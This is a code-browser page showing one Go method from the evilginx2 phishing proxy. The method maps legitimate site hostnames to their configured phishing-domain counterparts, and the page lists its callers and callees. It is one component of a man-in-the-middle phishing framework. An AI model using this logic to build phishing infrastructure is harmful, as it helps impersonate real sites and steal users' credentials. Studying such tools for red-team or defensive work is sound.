MCPcopy
hub / github.com/kgretzky/evilginx2 / replaceHostWithPhished

Method replaceHostWithPhished

core/http_proxy.go:1723–1749  ·  view source on GitHub ↗
(hostname string)

Source from the content-addressed store, hash-verified

1721}
1722
1723func (p *HttpProxy) replaceHostWithPhished(hostname string) (string, bool) {
1724 if hostname == "" {
1725 return hostname, false
1726 }
1727 prefix := ""
1728 if hostname[0] == '.' {
1729 prefix = "."
1730 hostname = hostname[1:]
1731 }
1732 for site, pl := range p.cfg.phishlets {
1733 if p.cfg.IsSiteEnabled(site) {
1734 phishDomain, ok := p.cfg.GetSiteDomain(pl.Name)
1735 if !ok {
1736 continue
1737 }
1738 for _, ph := range pl.proxyHosts {
1739 if hostname == combineHost(ph.orig_subdomain, ph.domain) {
1740 return prefix + combineHost(ph.phish_subdomain, phishDomain), true
1741 }
1742 if hostname == ph.domain {
1743 return prefix + phishDomain, true
1744 }
1745 }
1746 }
1747 }
1748 return hostname, false
1749}
1750
1751func (p *HttpProxy) replaceUrlWithPhished(u string) (string, bool) {
1752 r_url, err := url.Parse(u)

Callers 3

NewHttpProxyFunction · 0.95
TLSConfigFromCAMethod · 0.95
replaceUrlWithPhishedMethod · 0.95

Calls 3

combineHostFunction · 0.85
IsSiteEnabledMethod · 0.80
GetSiteDomainMethod · 0.80

Tested by

no test coverage detected